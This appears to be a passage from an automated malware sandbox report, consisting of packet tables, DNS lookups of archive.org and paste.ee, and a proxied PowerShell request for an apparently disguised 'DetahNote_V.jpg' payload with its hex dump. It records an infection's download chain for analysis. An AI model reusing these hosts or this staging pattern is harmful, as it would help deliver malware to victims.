Oct 10, 2024 09:29:06.574383974 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.574383974 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.574385881 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574433088 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.574440956 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.574479103 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.582655907 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.582712889 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.582751989 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.582758904 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.582786083 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.582798958 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.603442907 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.603485107 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.603513956 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.603528976 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.603553057 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.603573084 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.603750944 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.603784084 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.603802919 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.603810072 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.603832006 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.603852034 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.604656935 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.604701042 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.604702950 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.604712963 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.604736090 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.604754925 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.605566978 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.605617046 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.605655909 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.605701923 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.606477022 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.606523037 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.645121098 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.645167112 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.645205021 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.645230055 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.645246983 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.665553093 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.665592909 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.665625095 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.665642977 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.665666103 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.665699005 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.665735006 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.665749073 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.665755033 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.665785074 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.666508913 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.666560888 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.666564941 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.666577101 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.666610956 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.666625023 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.666631937 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.666654110 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.666680098 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.667356014 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.667397022 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.667433023 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.667438030 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.667448044 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.667474031 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.667486906 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.667493105 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.667526960 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.668334961 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.668385983 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.668392897 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.668414116 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.668443918 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.668484926 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.668492079 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.668515921 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.668549061 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.694545031 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.694598913 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.694643021 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.694684029 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.694839954 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.694892883 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.694905043 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.694947958 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.695348024 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.695432901 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.696187973 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.696206093 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.696237087 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.696237087 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.696248055 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.696280003 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.696315050 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.696926117 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.696942091 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.697007895 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.697016001 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.697056055 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.736941099 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.736962080 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.737036943 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.737046957 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.737091064 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.758074045 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.758091927 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.758228064 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.758238077 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.758282900 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.758690119 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.758706093 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.758759975 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.758774042 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.758815050 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.759116888 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.759133101 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.759211063 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.759219885 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.759262085 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.787154913 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.787188053 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.787264109 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.787282944 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.787326097 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.787764072 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.787784100 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.787832975 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.787841082 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.787848949 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.787877083 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.787909985 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.787914038 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.788439035 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.788455963 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.788508892 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.788517952 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.788862944 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.788929939 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.788937092 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.788969040 CEST	443	49708	188.114.96.3	192.168.2.8
Oct 10, 2024 09:29:06.789011955 CEST	49708	443	192.168.2.8	188.114.96.3
Oct 10, 2024 09:29:06.789381027 CEST	49708	443	192.168.2.8	188.114.96.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 09:28:59.312402964 CEST	50227	53	192.168.2.8	1.1.1.1
Oct 10, 2024 09:28:59.562841892 CEST	53	50227	1.1.1.1	192.168.2.8
Oct 10, 2024 09:29:05.299503088 CEST	52464	53	192.168.2.8	1.1.1.1
Oct 10, 2024 09:29:05.306782961 CEST	53	52464	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 10, 2024 09:28:59.312402964 CEST	192.168.2.8	1.1.1.1	0x3f0a	Standard query (0)	ia600102.us.archive.org	A (IP address)	IN (0x0001)	false
Oct 10, 2024 09:29:05.299503088 CEST	192.168.2.8	1.1.1.1	0xb30a	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 10, 2024 09:28:59.562841892 CEST	1.1.1.1	192.168.2.8	0x3f0a	No error (0)	ia600102.us.archive.org	207.241.227.242	A (IP address)	IN (0x0001)	false
Oct 10, 2024 09:29:05.306782961 CEST	1.1.1.1	192.168.2.8	0xb30a	No error (0)	paste.ee	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 10, 2024 09:29:05.306782961 CEST	1.1.1.1	192.168.2.8	0xb30a	No error (0)	paste.ee	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600102.us.archive.org

paste.ee

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	207.241.227.242	443	8004	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 07:29:00 UTC	117	OUT	GET /32/items/detah-note-v_202410/DetahNote_V.jpg HTTP/1.1 Host: ia600102.us.archive.org Connection: Keep-Alive
2024-10-10 07:29:00 UTC	591	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 10 Oct 2024 07:29:00 GMT Content-Type: image/jpeg Content-Length: 6331693 Last-Modified: Tue, 08 Oct 2024 03:49:30 GMT Connection: close ETag: "6704abca-609d2d" Strict-Transport-Security: max-age=15724800 Expires: Thu, 10 Oct 2024 13:29:00 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-10-10 07:29:00 UTC	15793	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: 5e 00 ef 9c 24 2f 18 a5 50 47 be 05 cf 22 c0 07 38 32 ed 0b c6 e0 78 c1 a8 76 2c e0 73 f9 61 20 0c c7 70 55 3f cf 00 eb 1b 86 0c 0d 31 5e e7 8c e4 29 1e e6 6b 69 5b d8 70 72 c4 b3 10 2a 82 8e 4d e0 47 a6 62 58 d8 a2 54 e0 5e 49 dd 95 6c b0 53 fa 65 e2 d4 2a 46 51 ad af 80 cd cf e5 80 33 21 52 a5 e9 6b f5 ca 39 67 e5 47 00 50 1e df 1c 06 91 bd 24 86 3f 4c 24 40 3b 04 1c dd d6 e3 f0 c0 23 05 88 1e 0d 8f d7 02 93 94 d4 2b d5 1b e9 81 a1 b9 3c 9d b2 39 dc 0f 16 7a 62 9a 92 24 22 9c d1 fc 36 7a e1 89 49 05 14 1d 48 27 03 ab 89 51 15 43 02 57 91 80 b7 96 fd bf 5c 6a 20 90 28 66 66 b3 cd 1e 99 10 4a be 71 63 f8 55 7f 8b f5 c8 9e 44 6a 23 6d 37 42 7d b0 0d e7 92 0d bb 12 4f 45 ed 83 92 41 b0 02 ec c7 e3 ef 96 8d 50 28 a2 02 f5 e3 be 53 52 51 3d 65 c6 eb bd b8 0b Data Ascii: ^$/PG"82xv,sa pU?1^)ki[prMGbXT^IlSeFQ3!Rk9gGP$?L$@;#+<9zb$"6zIH'QCW\j (ffJqcUDj#m7B}OEAP(SRQ=e
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: f0 9d 5e b6 53 3c 3a 0d 53 a1 3b 95 d2 16 65 27 e6 06 0a 2f 0e f1 0d 0f 8f f8 64 b2 e9 75 10 ee d4 25 6f 8d 97 70 0c b7 57 d7 ae 2b 21 6b 27 92 47 7c d4 fb 3f ae 74 f1 1d 26 9e 42 cf a6 79 d4 98 77 1d bb 89 00 30 07 a3 02 01 b1 c9 02 ba 1c 00 78 dd ff 00 b6 f5 fe 9e ba 89 2c 1f f7 8e 1b 41 e3 9e 23 a1 d2 88 74 fa 92 91 6e b0 0a 2b 57 e6 0e 03 c6 01 6f 1a d7 32 93 c6 a2 4b e7 fc c7 33 c3 ed 97 61 36 18 5f 07 a6 07 a6 d1 f8 f4 fe 31 aa 8f c3 bc 61 56 7d 3c cc aa a4 22 86 89 b9 0a ca 45 01 cd 5f c2 f0 2f 14 de 0b e2 3a bd 0d 40 ec 84 05 9d 92 da 98 58 2a 4d 55 83 ce 61 c2 83 cd 56 de 45 1b 0d 79 e9 7e da c8 f0 78 f4 25 4b 2a 9d 3a 8a aa 06 99 bf 97 1f a6 07 98 9a 18 b4 85 d1 f8 5d ea 49 db 5b b8 26 f1 b1 a7 46 98 ea 0b ab 44 57 f0 90 3a 64 c3 f6 76 79 cc 9a Data Ascii: ^S<:S;e'/du%opW+!k'G\|?t&Byw0x,A#tn+Wo2K3a6_1aV}<"E_/:@XMUaVEy~x%K:]I[&FDW:dvy
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: 22 b8 21 76 ed 24 f5 26 ef 29 b1 cc 21 4f b1 fe 77 9a 3a 96 d3 ed 06 fb 70 69 b0 11 ea 74 db 76 b3 57 3f e1 38 0a b2 c9 cb 15 04 b5 55 fc 06 39 a6 49 be ec c1 17 82 cc 48 6e 30 f2 b4 11 c4 24 0f 61 85 01 75 fa 60 e2 d7 c0 20 08 ec 45 7b 59 c0 16 e9 d8 10 a2 89 14 64 26 eb e0 32 57 4c f1 ca ae 3d 36 6c 0f 6e 2b 18 fb de 89 b8 46 2b e9 e1 48 3d 70 08 e8 eb 3e f6 3e a3 e9 ab f6 c0 12 e8 a4 3b 1c 1b 6d c4 9f 95 e7 0d 14 aa 9e c7 69 04 7b f5 1f d7 35 11 22 58 b6 86 6b be fe fc 65 e2 96 14 62 19 bd 4b d7 03 cf b8 78 ea 27 15 4c 0e 14 c6 ec 84 85 55 52 78 db d3 eb 9a 3a df ba 6a 01 b7 da dd 8e d3 c6 00 41 0a c2 b1 19 18 1b dc 4e d3 ce 00 19 a6 50 18 1b 53 c0 c6 00 d4 14 b1 dc 64 89 60 69 04 00 b0 03 ad a9 e7 19 33 e9 e3 50 bb bd 38 09 aa 4c e8 76 36 ea eb f0 ca Data Ascii: "!v$&)!Ow:pitvW?8U9IHn0$au` E{Yd&2WL=6ln+F+H=p>>;mi{5"XkebKx'LURx:jANPSd`i3P8Lv6
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: 36 a4 9e 08 cc 94 d7 29 50 ad a6 0c 47 bb ff 00 fa 38 3d 4f 89 22 91 5a 52 40 eb 4f c7 f2 c0 d7 7d 44 25 54 02 d4 0f 3f 1c ef 32 33 54 8d f3 39 95 1e ba 29 53 71 d3 6d 07 a7 af fe 98 47 f1 08 c4 60 22 50 1f e6 ff 00 a6 03 af 22 75 22 89 e9 83 f3 d7 a1 4e 7b 1c cf 7d 68 75 07 cb 22 bb 06 eb ff 00 87 21 35 eb e6 57 92 47 c4 b7 fd 30 34 9d d1 9a ca 9e 7d b2 a5 c8 53 b5 5b eb 8b 36 b9 0a f0 95 ff 00 17 fd 32 a7 5e 40 a1 16 ef f8 bf e9 80 c1 d4 99 14 54 75 b7 f5 cb 89 14 29 40 80 1f c5 ce 27 f7 b7 5f 56 ca f8 06 ff 00 a6 0d b5 e7 ff 00 a3 62 7a fe 2f ff 00 47 01 d4 74 0c 09 8c dd f4 ae 0e 2d ac d7 3c 5a a2 13 d2 80 70 36 8c 85 d6 b6 d2 44 6c 19 45 82 5b fe 98 87 9c 4b 16 91 37 b3 1b fc 5f f4 c0 68 f8 d4 a7 d2 63 52 7b 15 5c d8 8e 7f 07 6d 27 df 75 69 e2 91 b1 Data Ascii: 6)PG8=O"ZR@O}D%T?23T9)SqmG`"P"u"N{}hu"!5WG04}S[62^@Tu)@'_Vbz/Gt-<Zp6DlE[K7_hcR{\m'ui
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: 8b 3d 6c 75 ca bc 9b a3 2a dd fa 71 db 28 20 6b 1b 9a d7 b5 60 32 91 16 76 51 b4 13 c2 8a eb 81 24 28 0a 0f e2 a3 5e fc e5 cb 32 15 60 f4 cb 8b 44 18 b0 bf 87 5f 9e 03 29 50 c6 ad ba c0 52 48 3f 3c be e1 aa 5d d5 b4 fb 60 a2 47 a2 4a d8 ae 8d c7 7c 22 c8 aa 28 0a 6f 81 c0 b1 57 24 10 d4 47 53 87 57 91 88 3c 16 e9 f1 ca c1 44 96 91 7d 23 93 c6 04 38 7b 02 c0 dc 5b 03 b5 6b 24 8f c8 2a 40 af 4a 91 78 ba 3c a9 48 59 b6 f4 17 d1 72 da 90 59 82 bb 8a ab 06 b2 fa 04 3f 79 8e a3 0c 03 03 fa e0 34 08 89 01 12 2b 33 75 bc 21 77 48 c8 2c a4 13 5e ac d5 83 cc 9a 59 42 ac 4d e6 44 19 c0 61 e8 3e ae 38 e6 fe 58 4d 52 99 fc 3c e9 d4 ed 2a b7 f8 89 ba 20 fe 74 0e 07 9e 96 14 f3 55 22 94 c8 59 80 65 b0 36 f4 c9 d4 ab e9 da 45 56 14 a6 95 94 7c 7a 7f 2c 79 3c 3d 9d 16 5d Data Ascii: =luq( k`2vQ$(^2`D_)PRH?<]`GJ\|"(oW$GSW<D}#8{[k$@Jx<HYrY?y4+3u!wH,^YBMDa>8XMR<* tU"Ye6EV\|z,y<=]
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: 2d 4a 56 e8 73 fc c6 65 1d 36 a9 a8 b4 32 d5 75 2a 70 b1 47 3a a3 20 d3 cb 4c 45 1d 97 5f a6 07 a3 9b 5a 9f 7a 84 c7 a6 02 37 45 90 33 b7 3c a8 f6 f9 e4 6a 66 79 19 a5 90 d0 03 90 00 20 01 81 82 37 5f 28 36 9b 51 21 1b 55 58 23 70 4a a8 e9 f9 e0 b5 d0 eb 1e 53 a7 5d 24 e5 14 06 94 aa 9b db 63 b6 04 69 99 35 13 2e a7 63 80 a4 aa 5f 17 c7 5c 63 c4 66 6d 1e 81 a4 85 dd 0b cc a5 97 cc 62 39 0c 7e 9d 4e 5b 4b 1c f3 32 a4 3a 69 4c 61 7d 2d e5 92 00 ec 3e 78 f4 f0 6a 53 c3 a7 12 68 e7 7d ae 80 a9 8c 83 c2 b5 9a ae 70 32 f4 1a 99 1c c9 01 05 98 b1 75 05 89 0c 09 ec 6e bf 3c 7a 3d 76 ad 19 55 f4 c6 23 b8 ab 30 91 78 5a e9 c1 cc a8 23 99 b5 60 e9 74 1a 99 02 16 2d 4a 40 ab e3 68 ed 9a 69 0e b9 d9 07 dc a6 48 d8 ee 2a c8 d7 7d b9 aa eb 58 0d e9 e4 4d 4f 88 c6 f2 28 Data Ascii: -JVse62upG: LE_Zz7E3<jfy 7_(6Q!UX#pJS]$ci5.c_\cfmb9~N[K2:iLa}->xjSh}p2un<z=vU#0xZ#`t-J@hiH}XMO(
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: 18 01 03 9c 90 0f bf 6c b9 8e 94 b0 3c 55 fd 2e b2 de 58 0d b7 b8 6d a4 60 54 48 c0 83 67 82 0f 5e f9 01 ab a0 00 f4 04 75 c9 d8 0d 1b e0 93 fa 64 98 c9 23 6d 74 bb 26 b8 fa e0 54 b5 8e 7e 1c fc 32 18 b3 12 4f 5b cb f9 2c 5c a8 f5 10 2f d3 cf f2 c8 75 28 05 d8 24 5d 1f 9e 00 fe 99 c3 83 91 59 20 73 cf 4c 0b 33 16 1c b1 35 d2 fd b2 bd 0e 47 7c be df 48 3e fd 30 2e 93 15 52 0f 26 b8 bc d6 d0 ea 36 78 26 a6 32 dc b3 3d 7b 9b 51 98 80 73 9b da 5d 31 8f c2 64 2e ca 5a 51 e9 e3 91 b9 40 1f cf 03 08 83 66 fa fc f0 91 32 a9 16 47 5e f8 c7 fb 3a 63 e5 01 b4 17 2c 28 9f c2 57 ad e7 1d 0c 8a 81 88 52 4a ef 23 9f c3 ef d2 b0 28 fa 97 3b 68 f0 16 be 7c e0 0b b7 62 40 cd 3f f6 5f 96 17 cc 7b 25 c2 0a e3 93 f1 fa e2 b2 69 4a 5f ac 1b 24 55 f3 c7 bd 60 00 4c 7c b2 a4 93 Data Ascii: l<U.Xm`THg^ud#mt&T~2O[,\/u($]Y sL35G\|H>0.R&6x&2={Qs]1d.ZQ@f2G^:c,(WRJ#(;h\|b@?_{%iJ_$U`L\|
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: b1 5f 33 d1 61 7e 27 ae 71 65 1c 85 60 4f 5b 6b fe 99 c5 3d 36 bc e7 20 05 1e fa ed e3 f3 18 16 03 cc 56 35 c2 8b eb 94 11 bb 29 2a 09 03 db 2a 2d 6c 13 5e e3 0a 26 db 13 22 9a dc 6c e0 04 06 3d 2f 25 56 cd 75 3e d8 53 3f ee d5 02 28 2b d1 80 e4 e7 42 ae cc 4a ae ea 16 6b f2 c0 8f 2d fa 9e 3e 67 fa e5 41 60 76 92 7a 8e 87 0a 8e f0 4d b8 a6 ea 04 15 71 ee 2b 91 95 92 51 34 e1 c2 aa 5d 0a ed 80 c3 99 c5 4b 23 bf 50 48 36 2b 9f ed ed 93 1f 88 49 f8 4b b2 93 54 77 1c 9d 74 85 8a a9 bb 0b b4 7a b7 0e d4 6f e4 71 51 03 34 05 c7 63 58 1b ba 4f 10 91 34 72 15 91 9e 4d a1 68 b1 f7 ab 1f a6 35 ab d6 4b f7 69 5a 19 59 77 39 a0 77 5f 40 4f 73 c8 00 f3 55 9e 6a 09 8c 3b 88 e6 c5 57 6e 08 39 b3 0f 8a c3 a8 d3 b4 73 22 06 dc cc 5d ae e8 d0 a1 5c f2 2c 7d 70 18 07 57 ad Data Ascii: _3a~'qe`O[k=6 V5)**-l^&"l=/%Vu>S?(+BJk->gA`vzMq+Q4]K#PH6+IKTwtzoqQ4cXO4rMh5KiZYw9w_@OsUj;Wn9s"]\,}pW
2024-10-10 07:29:00 UTC	16384	IN	Data Raw: 47 b2 68 df 68 89 dd 18 31 e7 69 e8 73 22 79 c6 ae 09 64 50 54 a8 16 b7 67 93 5f d7 01 e2 91 bb 34 77 41 ba 8f 7c 6e 1d 12 41 a7 54 46 b5 26 d8 5d 58 cc e4 d3 38 86 4a 2d 6a a5 aa b9 e9 8f c0 e4 68 61 06 b7 6c 05 ad 79 e9 80 e4 3a d5 82 0a 2c cc aa 0a 84 02 c9 17 c1 fa 63 47 50 82 16 6d aa 48 ea 6e ae c7 71 98 da c1 10 d3 87 2c 48 50 58 02 d4 2c f0 3f 5c 2e a5 1c f8 7a f9 8c c9 24 71 d8 65 66 04 10 2f 9e 70 3b 57 af 82 02 db d2 46 90 11 c0 52 36 8f 70 7a 65 22 68 e5 1b fc d0 e8 bf 85 80 b2 3e bf 5c 8d 24 b3 b4 65 66 f2 d9 50 2b 33 51 e4 37 c4 e6 66 b3 53 16 96 79 74 ba 78 94 2a bd 6e 1c dd 7c f0 36 5e 78 a1 87 71 5d e7 f8 16 e8 93 81 2a e3 f1 9b 24 6e f4 f4 53 ed 78 a2 